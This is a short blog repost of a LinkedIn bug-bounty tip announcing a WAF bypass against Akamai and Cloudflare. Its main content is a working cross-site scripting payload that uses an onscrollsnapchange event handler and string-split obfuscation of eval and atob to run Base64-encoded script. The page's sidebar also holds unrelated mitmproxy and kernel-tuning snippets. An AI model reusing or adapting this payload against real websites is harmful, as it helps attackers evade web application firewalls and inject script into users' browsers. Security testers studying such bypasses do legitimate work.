Repost from LI - New WAF Bypass Discovered - Akamai & Cloudflare


Just found this on LinkedIn - Props goes to Amit for the post

Bug Bounty tips 👀
New WAF Bypass Discovered - Akamai & Cloudflare 🔥
Original Post Link:
https://www.linkedin.com/feed/update/urn:li:activity:7364263906405441537/
A fresh technique has been spotted that successfully bypasses WAFs like Akamai and Cloudflare.
Payload - 

<address onscrollsnapchange=window['ev'+'a'+(['l','b','c'][0])](window['a'+'to'+(['b','c','d'][0])]('YWxlcnQob3JpZ2luKQ==')); style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></address>

Comments

Post a Comment

Please feel free to sign up and join the discussion or start one

Popular posts from this blog

Configuring Burpsuite with mitmweb / mitmproxy

Image
  Configuring Burp with mitmproxy /mitmweb as root create:  bu.py pip3 install mitmproxy # prereq #  bu.py   # forward_to_burp.py from mitmproxy import http def request(flow: http.HTTPFlow) -> None:     # Forward everything to Burp (localhost:8080)     flow.request.host = "127.0.0.1"     flow.request.port = 8080   Save file Assuming burp is listening on standard 8080. as root run: mitmweb --mode regular --listen-host 127.0.0.1 --listen-port 8888 -s ./bu.py   making sure bu.py is in same path. Burp:
Read more

Optimizing the TCP and Kernel of [Ubuntu/kali/Debian]? Here is some optimizations for you (I did not write them / Props to the original author)

# ------------------------------------------------------------------------------------------ Desc: TCPIP Tweaks for Ubuntu / most linux distress Note: This likely will improve your throughput.  I have had no problems with these settings  +    :  #------------------------------------------------------------------------------------------| # INTERFACE SETTINGS # ================== # Please understand these before changing them. # Check out Documentation/networking/ip-sysctl.txt in your kernel source for more details. #---[ FULL CREDIT IS GIVEN TO THE ORIGINAL POSTER ]---# |--------------------------------------------------------------------------------------| #load irc and ftp conntrack helpers if they exist /sbin/modprobe ip_conntrack_irc &>/dev/null /sbin/modprobe ip_conntrack_ftp &>/dev/null #ip fowarding (these must be 1 to be able to forward packets between interfaces!) echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/conf...
Read more